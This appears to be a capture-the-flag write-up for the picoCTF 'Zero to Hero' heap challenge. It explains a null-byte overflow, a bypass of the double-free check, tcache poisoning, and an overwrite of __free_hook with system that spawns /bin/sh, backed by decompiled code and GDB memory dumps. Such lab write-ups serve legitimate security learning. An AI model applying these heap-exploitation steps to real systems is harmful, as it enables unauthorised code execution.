Zero to Hero

Binary Exploitation

Write-Up:  https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/#zero_to_hero

The binary provided performs dynamic memory allocations and frees the allocated memory.  The Libc version used to compile the binary supports the TCache feature in the heap memory space to speed up memory management and a security fix to prevent double free attack.

All requests for memory is restricted to the size of the Tcache bins and a NULL byte overflow(off by one) has been added which provides the ability to overwrite the header of a chunk of memory that follows the one being written to. All pointers to the memory chunks are stored in a global array and there is a restriction of 7 malloc() requests.

Exploiting the binary involves using the glibc __free_hook function to gain remote shell access.  This achieved using several steps:

  1. Determine memory address of System function and __free_hook function call.
  2. Use Null byte overflow to overcome security mitigation for double free attack.
  3. Create a fake chunk and perform Tcache poisoning attack to trick memory manager to create a free chunk in system memory.
  4. Overwrite __free_hook with the system function.
  5. Free a chunk with a pointer to the shell command to gain remote shell.
Executable code – using Ghidra to decompile the binary.

void FUN_00400c62(void)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  int local_2c;
  char local_28 [24];
  undefined8 local_10;
 
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puts(“From Zero to Hero”);
  puts(“So, you want to be a hero?”);
  sVar1 = read(0,local_28,0x14);
  local_28[sVar1] = ‘\0’;
  if (local_28[0] != ‘y’) {
    puts(“No? Then why are you even here?”);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts(“Really? Being a hero is hard.”);
  puts(“Fine. I see I can\’t convince you otherwise.”);
  printf(“It\’s dangerous to go alone. Take this: %p\n”,system); <-address of system is given (libc leak not required)
  while( true ) {
    while( true ) {
      FUN_00400997();
      printf(“> “);
      local_2c = 0;
      __isoc99_scanf(&DAT_00401040,&local_2c);
      getchar();
      if (local_2c != 2) break;
      FUN_00400bb3();
    }
    if (local_2c == 3) break;
    if (local_2c != 1) goto LAB_00400dce;
    FUN_00400a4d();
  }
  puts(“Giving up?”);
LAB_00400dce:
                    /* WARNING: Subroutine does not return */
  exit(0);
}
*——————————————————————–
void FUN_00400997(void)

{
  puts(“1. Get a superpower”);
  puts(“2. Remove a superpower”);
  puts(“3. Exit”);
  return;
}
*——————————————————————–
void FUN_00400a4d(void)

{
  long lVar1;
  void *pvVar2;
  ssize_t sVar3;
  long in_FS_OFFSET;
  uint local_28;
  int local_24;
  long local_20;
 
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0;
  local_24 = FUN_004009c2();
  if (local_24 < 0) {
    puts(“You have too many powers!”);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts(“Describe your new power.”);
  puts(“What is the length of your description?”);
  printf(“> “);
  __isoc99_scanf(&DAT_00400f0b,&local_28);
  getchar();
  if (0x408 < local_28) {  <-description is limited to specific size (controls max size of chunk)
    puts(“Power too strong!”);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar2 = malloc((ulong)local_28); <-request new chunk of memory
  *(void **)(&DAT_00602060 + (long)local_24 * 8) = pvVar2; <-save pointer to memory chunk in global array
  puts(“Enter your description: “);
  printf(“> “);
  lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8); <-pointer at current array index
  sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
  *(undefined *)(sVar3 + lVar1) = 0; <-Null byte written at end of data
  puts(“Done!”);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
*——————————————————————–
int FUN_004009c2(void)

{
  int local_c;
 
  local_c = 0;
  while( true ) {
    if (6 < local_c) { <-only 7 elements “powers” allowed
      return -1;
    }
    if (*(long *)(&DAT_00602060 + (long)local_c * 8) == 0) break;
    local_c = local_c + 1;
  }
  return local_c; <-index of next free element in array
}
*——————————————————————–
void FUN_00400bb3(void)

{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  puts(“Which power would you like to remove?”); <-specify which element in the array of pointers
  printf(“> “);
  __isoc99_scanf(&DAT_00400f0b,&local_14);
  getchar();
  if (6 < local_14) {
    puts(“Invalid index!”);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602060 + (ulong)local_14 * 8)); <-release memory into tcache
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

*——————————————————————–
void FUN_00400a02(void)

{
  int iVar1;
  FILE *__fp;
 
  __fp = fopen(“flag.txt”,”r”);
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

Binary Debugging – using GEF (GDB) to analyse the execution of the program.

Step 1.  Calculate memory address of __free_hook:

This is automated using pwntools and the system address already provided by the binary.

[*] Libc base: 0x7fe54f82f000
[*] system: 0x7fe54f881fd0
[*] __free_hook: 0x7fe54fa165a8

Step 2. Null byte overflow

First Malloc() chunk:

Pointer to first chunk stored in global array.

gef➤  x /16xg 0x602060
0x602060:	0x000000000191b260	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

Memory contents.

gef➤  x /32xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x4141414141414141	0x4141414141414141
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000020d00
0x191b2c0:	0x0000000000000000	0x0000000000000000
0x191b2d0:	0x0000000000000000	0x0000000000000000
0x191b2e0:	0x0000000000000000	0x0000000000000000
0x191b2f0:	0x0000000000000000	0x0000000000000000
0x191b300:	0x0000000000000000	0x0000000000000000
0x191b310:	0x0000000000000000	0x0000000000000000
0x191b320:	0x0000000000000000	0x0000000000000000
0x191b330:	0x0000000000000000	0x0000000000000000
0x191b340:	0x0000000000000000	0x0000000000000000

Memory heap status.

Second Malloc() chunk:

Pointers to the first and second chunks.

gef➤  x /16xg 0x602060
0x602060:	0x000000000191b260	0x000000000191b2c0
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

Memory Contents

gef➤  x /32xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x4141414141414141	0x4141414141414141
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000000191
0x191b2c0:	0x4242424242424242	0x4242424242424242
0x191b2d0:	0x4242424242424242	0x4242424242424242
0x191b2e0:	0x4242424242424242	0x4242424242424242
0x191b2f0:	0x4242424242424242	0x4242424242424242
0x191b300:	0x4242424242424242	0x4242424242424242
0x191b310:	0x4242424242424242	0x4242424242424242
0x191b320:	0x4242424242424242	0x4242424242424242
0x191b330:	0x4242424242424242	0x4242424242424242
0x191b340:	0x4242424242424242	0x4242424242424242

Memory heap status

After both chunks are freed:

Memory contents  – the fwd and bk pointers have been added for both free chunks.

gef➤  x /32xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x0000000000000000	0x000000000191b010
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000000191
0x191b2c0:	0x0000000000000000	0x000000000191b010
0x191b2d0:	0x4242424242424242	0x4242424242424242
0x191b2e0:	0x4242424242424242	0x4242424242424242
0x191b2f0:	0x4242424242424242	0x4242424242424242
0x191b300:	0x4242424242424242	0x4242424242424242
0x191b310:	0x4242424242424242	0x4242424242424242
0x191b320:	0x4242424242424242	0x4242424242424242
0x191b330:	0x4242424242424242	0x4242424242424242
0x191b340:	0x4242424242424242	0x4242424242424242

Memory heap status

Malloc with text to cause null byte overflow.

Pointer added to the global array.  It points to the same space as the first chunk.

gef➤  x /16xg 0x602060
0x602060:	0x000000000191b260	0x000000000191b2c0
0x602070:	0x000000000191b260	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

Memory contents – size of the following chunk has been modified to 0x100 and /bin/sh\x00 is in the position of the fwd pointer of the free chunk.

gef➤  x /32xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x0068732f6e69622f	0x4141414141414141
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000000100
0x191b2c0:	0x0000000000000000	0x000000000191b010
0x191b2d0:	0x4242424242424242	0x4242424242424242
0x191b2e0:	0x4242424242424242	0x4242424242424242
0x191b2f0:	0x4242424242424242	0x4242424242424242
0x191b300:	0x4242424242424242	0x4242424242424242
0x191b310:	0x4242424242424242	0x4242424242424242
0x191b320:	0x4242424242424242	0x4242424242424242
0x191b330:	0x4242424242424242	0x4242424242424242
0x191b340:	0x4242424242424242	0x4242424242424242

Memory heap status

Free the second chunk (index=1) again because it now has a different size.  Double free protection has been bypassed.

Memory heap status – the second chunk is added to the tcache bin but at a different size.

Allocate the chunk the out of the 0x190 bin.


Same pointer at index=1 is added to the global array.

gef➤  x /16xg 0x602060
0x602060:	0x000000000191b260	0x000000000191b2c0
0x602070:	0x000000000191b260	0x000000000191b2c0
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

Memory contents

gef➤  x /68xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x0068732f6e69622f	0x4141414141414141
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000000100
0x191b2c0:	0x4343434343434343	0x4343434343434343
0x191b2d0:	0x4343434343434343	0x4343434343434343
0x191b2e0:	0x4343434343434343	0x4343434343434343
0x191b2f0:	0x4343434343434343	0x4343434343434343
0x191b300:	0x4343434343434343	0x4343434343434343
0x191b310:	0x4343434343434343	0x4343434343434343
0x191b320:	0x4343434343434343	0x4343434343434343
0x191b330:	0x4343434343434343	0x4343434343434343
0x191b340:	0x4343434343434343	0x4343434343434343
0x191b350:	0x4343434343434343	0x4343434343434343
0x191b360:	0x4343434343434343	0x4343434343434343
0x191b370:	0x4343434343434343	0x4343434343434343
0x191b380:	0x4343434343434343	0x4343434343434343
0x191b390:	0x4343434343434343	0x4343434343434343
0x191b3a0:	0x4343434343434343	0x4343434343434343
0x191b3b0:	0x4343434343434343	0x4343434343434343
0x191b3c0:	0x4343434343434343	0x4343434343434343
0x191b3d0:	0x4343434343434343	0x4343434343434343
0x191b3e0:	0x4343434343434343	0x4343434343434343
0x191b3f0:	0x4343434343434343	0x4343434343434343
0x191b400:	0x4343434343434343	0x4343434343434343
0x191b410:	0x4343434343434343	0x4343434343434343
0x191b420:	0x4343434343434343	0x4343434343434343
0x191b430:	0x4343434343434343	0x4343434343434343
0x191b440:	0x0000000000000000	0x0000000000020b71
0x191b450:	0x0000000000000000	0x0000000000000000
0x191b460:	0x0000000000000000	0x0000000000000000

Memory heap status

Free the newly allocated chunk to put in in the same tcache 0x100 bin.

Memory contents

gef➤  x /68xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x0068732f6e69622f	0x4141414141414141
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000000100
0x191b2c0:	0x000000000191b2c0	0x000000000191b010
0x191b2d0:	0x4343434343434343	0x4343434343434343
0x191b2e0:	0x4343434343434343	0x4343434343434343
0x191b2f0:	0x4343434343434343	0x4343434343434343
0x191b300:	0x4343434343434343	0x4343434343434343
0x191b310:	0x4343434343434343	0x4343434343434343
0x191b320:	0x4343434343434343	0x4343434343434343
0x191b330:	0x4343434343434343	0x4343434343434343
0x191b340:	0x4343434343434343	0x4343434343434343
0x191b350:	0x4343434343434343	0x4343434343434343
0x191b360:	0x4343434343434343	0x4343434343434343
0x191b370:	0x4343434343434343	0x4343434343434343
0x191b380:	0x4343434343434343	0x4343434343434343
0x191b390:	0x4343434343434343	0x4343434343434343
0x191b3a0:	0x4343434343434343	0x4343434343434343
0x191b3b0:	0x4343434343434343	0x4343434343434343
0x191b3c0:	0x4343434343434343	0x4343434343434343
0x191b3d0:	0x4343434343434343	0x4343434343434343
0x191b3e0:	0x4343434343434343	0x4343434343434343
0x191b3f0:	0x4343434343434343	0x4343434343434343
0x191b400:	0x4343434343434343	0x4343434343434343
0x191b410:	0x4343434343434343	0x4343434343434343
0x191b420:	0x4343434343434343	0x4343434343434343
0x191b430:	0x4343434343434343	0x4343434343434343
0x191b440:	0x0000000000000000	0x0000000000020b71
0x191b450:	0x0000000000000000	0x0000000000000000
0x191b460:	0x0000000000000000	0x0000000000000000

 
Memory heap status

Step 3.  Tcache poisoning attack to overwrite the free_hook function:

Create new chunk with pointer to system memory where free_hook resides.

New pointer added at index=5 which is the same as index=1 since we are re-using the same chunk of memory.

gef➤  x /16xg 0x602060
0x602060:	0x000000000191b260	0x000000000191b2c0
0x602070:	0x000000000191b260	0x000000000191b2c0
0x602080:	0x000000000191b2c0	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

Memory contents – the memory dump shows that the system address of free_hook has been added to the fd pointer location in a free chunk. 

gef➤  x /68xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x0068732f6e69622f	0x4141414141414141
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000000100
0x191b2c0:	0x00007fe54fa165a8	0x4444444444444444
0x191b2d0:	0x4444444444444444	0x4444444444444444
0x191b2e0:	0x4444444444444444	0x4444444444444444
0x191b2f0:	0x4444444444444444	0x4444444444444444
0x191b300:	0x4444444444444444	0x4444444444444444
0x191b310:	0x4444444444444444	0x4444444444444444
0x191b320:	0x4444444444444444	0x4444444444444444
0x191b330:	0x4444444444444444	0x4444444444444444
0x191b340:	0x4444444444444444	0x4444444444444444
0x191b350:	0x4444444444444444	0x4444444444444444
0x191b360:	0x4444444444444444	0x4444444444444444
0x191b370:	0x4444444444444444	0x4444444444444444
0x191b380:	0x4444444444444444	0x4444444444444444
0x191b390:	0x4444444444444444	0x4444444444444444
0x191b3a0:	0x4444444444444444	0x4444444444444444
0x191b3b0:	0x4343434343434300	0x4343434343434343
0x191b3c0:	0x4343434343434343	0x4343434343434343
0x191b3d0:	0x4343434343434343	0x4343434343434343
0x191b3e0:	0x4343434343434343	0x4343434343434343
0x191b3f0:	0x4343434343434343	0x4343434343434343
0x191b400:	0x4343434343434343	0x4343434343434343
0x191b410:	0x4343434343434343	0x4343434343434343
0x191b420:	0x4343434343434343	0x4343434343434343
0x191b430:	0x4343434343434343	0x4343434343434343
0x191b440:	0x0000000000000000	0x0000000000020b71
0x191b450:	0x0000000000000000	0x0000000000000000
0x191b460:	0x0000000000000000	0x0000000000000000

Memory heap status – free fake chunk created in system memory space instead of heap memory

Next another chunk is requested.  This is the first one in the list for the tcache bin.

Another pointer to the same memory chunk added to index=6

gef➤  x /16xg 0x602060
0x602060:	0x000000000191b260	0x000000000191b2c0
0x602070:	0x000000000191b260	0x000000000191b2c0
0x602080:	0x000000000191b2c0	0x000000000191b2c0
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

Memory contents

gef➤  x /68xg 0x191b260 - 0x10
0x191b250:	0x0000000000000000	0x0000000000000061
0x191b260:	0x0068732f6e69622f	0x4141414141414141
0x191b270:	0x4141414141414141	0x4141414141414141
0x191b280:	0x4141414141414141	0x4141414141414141
0x191b290:	0x4141414141414141	0x4141414141414141
0x191b2a0:	0x4141414141414141	0x4141414141414141
0x191b2b0:	0x4141414141414141	0x0000000000000100
0x191b2c0:	0x4545454545454545	0x4545454545454545
0x191b2d0:	0x4545454545454545	0x4545454545454545
0x191b2e0:	0x4545454545454545	0x4545454545454545
0x191b2f0:	0x4545454545454545	0x4545454545454545
0x191b300:	0x4545454545454545	0x4545454545454545
0x191b310:	0x4545454545454545	0x4545454545454545
0x191b320:	0x4545454545454545	0x4545454545454545
0x191b330:	0x4545454545454545	0x4545454545454545
0x191b340:	0x4545454545454545	0x4545454545454545
0x191b350:	0x4545454545454545	0x4545454545454545
0x191b360:	0x4545454545454545	0x4545454545454545
0x191b370:	0x4545454545454545	0x4545454545454545
0x191b380:	0x4545454545454545	0x4545454545454545
0x191b390:	0x4545454545454545	0x4545454545454545
0x191b3a0:	0x4545454545454545	0x4545454545454545
0x191b3b0:	0x4343434343434300	0x4343434343434343
0x191b3c0:	0x4343434343434343	0x4343434343434343
0x191b3d0:	0x4343434343434343	0x4343434343434343
0x191b3e0:	0x4343434343434343	0x4343434343434343
0x191b3f0:	0x4343434343434343	0x4343434343434343
0x191b400:	0x4343434343434343	0x4343434343434343
0x191b410:	0x4343434343434343	0x4343434343434343
0x191b420:	0x4343434343434343	0x4343434343434343
0x191b430:	0x4343434343434343	0x4343434343434343
0x191b440:	0x0000000000000000	0x0000000000020b71
0x191b450:	0x0000000000000000	0x0000000000000000
0x191b460:	0x0000000000000000	0x0000000000000000

Memory heap status

Step 4.  Overwrite the free_hook function:

Request last free chunk from the bin to overwrite the free_hook

Pointer added to global array

gef➤  x /16xg 0x602060
0x602060:	0x000000000191b260	0x000000000191b2c0
0x602070:	0x000000000191b260	0x000000000191b2c0
0x602080:	0x000000000191b2c0	0x000000000191b2c0
0x602090:	0x00007fe54fa165a8	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

Memory contents –

(i)before malloc

gef➤  x /20xg 0x7fe54fa165a8 - 0x10
0x7fe54fa16598:	0x0000000000000000	0x0000000000000000
0x7fe54fa165a8 <__free_hook>:	0x0000000000000000	0x0000000000000000
0x7fe54fa165b8:	0x0000000000000000	0x0000000000000000
0x7fe54fa165c8:	0x0000000000000000	0x0000000000000000
0x7fe54fa165d8:	0x0000000000000000	0x0000000000000000
0x7fe54fa165e8:	0x0000000000000000	0x0000000000000000
0x7fe54fa165f8:	0x0000000000000000	0x0000000000000080
0x7fe54fa16608:	0x0000000000000000	0x0000000000000000
0x7fe54fa16618:	0x0000000000000000	0x0000000000000000
0x7fe54fa16628:	0x0000000000000000	0x0000000000000000

(ii) after malloc

gef➤  x /20xg 0x7fe54fa165a8 - 0x10
0x7fe54fa16598:	0x0000000000000000	0x0000000000000000
0x7fe54fa165a8 <__free_hook>:	0x00007fe54f881fd0	0x4646464646464646
0x7fe54fa165b8:	0x4646464646464646	0x4646464646464646
0x7fe54fa165c8:	0x4646464646464646	0x4646464646464646
0x7fe54fa165d8:	0x4646464646464646	0x4646464646464646
0x7fe54fa165e8:	0x4646464646464646	0x4646464646464646
0x7fe54fa165f8:	0x4646464646464646	0x4646464646464646
0x7fe54fa16608:	0x4646464646464646	0x4646464646464646
0x7fe54fa16618:	0x4646464646464646	0x4646464646464646
0x7fe54fa16628:	0x4646464646464646	0x4646464646464646

Memory heap status

Step 5.  Free chunk to execute __free_hook:

Call free(0) to release memory used buy the chunk index=0. This has /bin/sh so the function call system(/bin/sh) is executed.